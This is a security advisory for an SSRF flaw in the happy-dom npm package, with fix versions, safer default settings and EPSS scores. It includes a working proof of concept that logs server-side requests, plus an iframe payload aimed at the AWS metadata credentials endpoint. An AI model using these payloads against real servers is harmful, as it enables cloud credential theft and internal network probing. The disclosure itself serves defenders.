Loading advisory.
Loading advisory.
Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false).
Published 2026-10-28 20:23 UTC · Modified 2026-10-29 17:23 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score.
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| happy-dom | npm | < 21.0.0 | 21.0.0 | npm install happy-dom@21.0.0 |
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
happy-dom <= 20.8.9 (latest)
By default, happy-dom has:
disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests
disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests
When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
const http = require('http');
const { Window } = require('happy-dom');
// Start attacker server
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>stolen</body></html>');
});
srv.listen(9995, () => {
// iframe SSRF — happy-dom makes a real GET request
const win1 = new Window({ url: 'http://localhost' });
win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');
// stylesheet SSRF — happy-dom makes a real GET request
const win2 = new Window({ url: 'http://localhost' });
win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});Test output:
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrfBoth requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });
// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');Cloud credential theft — <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata
Internal network scanning — probe internal services and ports
Data exfiltration — read responses from internal APIs
Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input
Change defaults to disable external resource loading:
disableIframePageLoading: true, // change from false
disableCSSFileLoading: true, // change from falseOr add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.005 on 2026-11-24 to 0.005 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.005 | first score | v2026.06.15 |
| 2026-11-26 | 0.005 | 0.005 | v2026.06.15 |